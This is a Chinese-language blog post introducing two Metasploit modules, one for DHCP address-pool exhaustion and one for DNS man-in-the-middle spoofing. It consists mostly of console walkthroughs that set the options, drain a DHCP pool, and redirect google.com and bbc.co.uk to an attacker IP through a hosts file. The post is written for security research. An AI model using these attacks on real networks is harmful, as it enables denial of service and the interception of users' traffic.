Metasploit DHCP耗尽与DNS中间人攻击技术详解

本文详细介绍了两种Metasploit模块的使用:DHCP耗尽攻击工具和DNS中间人攻击模块。内容包括模块功能、配置方法、实际攻击演示及技术实现细节,适合网络安全研究人员参考。

Metasploit DNS和DHCP耗尽攻击

更新
DHCP耗尽模块现已支持Ruby 1.9.x版本。

本文介绍两个已准备首次发布的Metasploit模块。第一个是DNS中间人攻击模块,由多人共同开发,最后一位是Wesley McGrew,他发布了版本但未将其纳入Metasploit框架。该模块加载域名列表以提供虚假响应,并对其他所有请求返回真实结果。我的工作重点是添加通过预设置域名查询重新加载配置文件的功能,无需重启,并修复了一些小错误。

第二个模块是DHCP耗尽攻击工具,持续请求DHCP地址直至服务器停止响应,据我判断,这意味着IP池已耗尽。该模块是我从头编写的第一模块,我认为其风格与其他模块一致。

使用方法

运行这两个模块需root权限,且DHCP模块在开始攻击前需将接口设置为混杂模式,以便监听所有虚假请求的回复。最简单的方式是直接展示模块使用示例:

DHCP耗尽攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
msf > use auxiliary/digininja/dhcp_exhaustion/exhaust
msf auxiliary(exhaust) > show options

模块选项:

   名称         当前设置    必需    描述
   ----         ----------  ------  -----------
   FILTER                   否      捕获流量的过滤字符串
   INTERFACE                否      接口名称
   SNAPLEN      65535       是      捕获的字节数
   TIMEOUT      10          是      等待服务器响应的超时时间

msf auxiliary(exhaust) > run

[*] DHCP攻击开始
[*] DHCP提供地址:192.168.0.53
[*] 收到ACK回复,IP地址分配成功
[*] DHCP提供地址:192.168.0.54
[*] 收到ACK回复,IP地址分配成功
...(类似输出继续)...
[*] 等待OFFER超时
[*] 超时发生,假设DHCP已耗尽。攻击成功
[*] 完成
[*] 辅助模块执行完成

DNS中间人攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
msf > use auxiliary/digininja/dns_mitm/dns_mitm
msf auxiliary(dns_mitm) > set

全局
======

数据存储中无条目。

模块:dns_mitm/dns_mitm
=========================

  名称      值
  ----      -----
  RELOAD    digininja.reload
  SRVHOST   0.0.0.0
  SRVPORT   53

msf auxiliary(dns_mitm) > run
[-] 辅助模块失败:Msf::OptionValidateError 以下选项验证失败:FILENAME, REALDNS.
msf auxiliary(dns_mitm) > set FILENAME /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
FILENAME => /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
msf auxiliary(dns_mitm) > set REALDNS 192.168.0.8
REALDNS => 192.168.0.8
msf auxiliary(dns_mitm) > set

全局
======

数据存储中无条目。

模块:dns_mitm/dns_mitm
=========================

  名称       值
  ----       -----
  FILENAME   /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
  REALDNS    192.168.0.8
  RELOAD     digininja.reload
  SRVHOST    0.0.0.0
  SRVPORT    53

msf auxiliary(dns_mitm) > run
[*] 辅助模块在后台运行
msf auxiliary(dns_mitm) >
[*] 加载主机文件

主机文件包含单个条目:

192.168.0.2 google.com

现在进行一些查询,如google.com和bbc.co.uk:

nslookup
> server localhost
默认服务器:localhost
地址:::1#53
默认服务器:localhost
地址:127.0.0.1#53
> google.com
服务器:        localhost
地址:        127.0.0.1#53

非权威答案:
名称:   google.com
地址:192.168.0.2
名称:   google.com
地址:192.168.0.2
名称:   google.com
地址:192.168.0.2
> bbc.co.uk
服务器:        localhost
地址:        127.0.0.1#53

非权威答案:
名称:   bbc.co.uk
地址:212.58.224.138

Google被中间人攻击,但BBC通过,现在将BBC添加到主机文件:

echo "192.168.0.2 bbc.co.uk" >> dns.txt

通过查询特殊域名刷新服务器,然后再次检查BBC:

> digininja.reload
服务器:        localhost
地址:        127.0.0.1#53

非权威答案:
*** 找不到digininja.reload:无答案
> bbc.co.uk
服务器:        localhost
地址:        127.0.0.1#53

非权威答案:
名称:   bbc.co.uk
地址:192.168.0.2

BBC现在已被控制!

下载

下载这两个模块。

目录

  • 使用方法
  • DHCP耗尽攻击
  • DNS中间人攻击
  • 下载

分类

  • Wifi
  • 网络
  • Metasploit
  • 通用
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计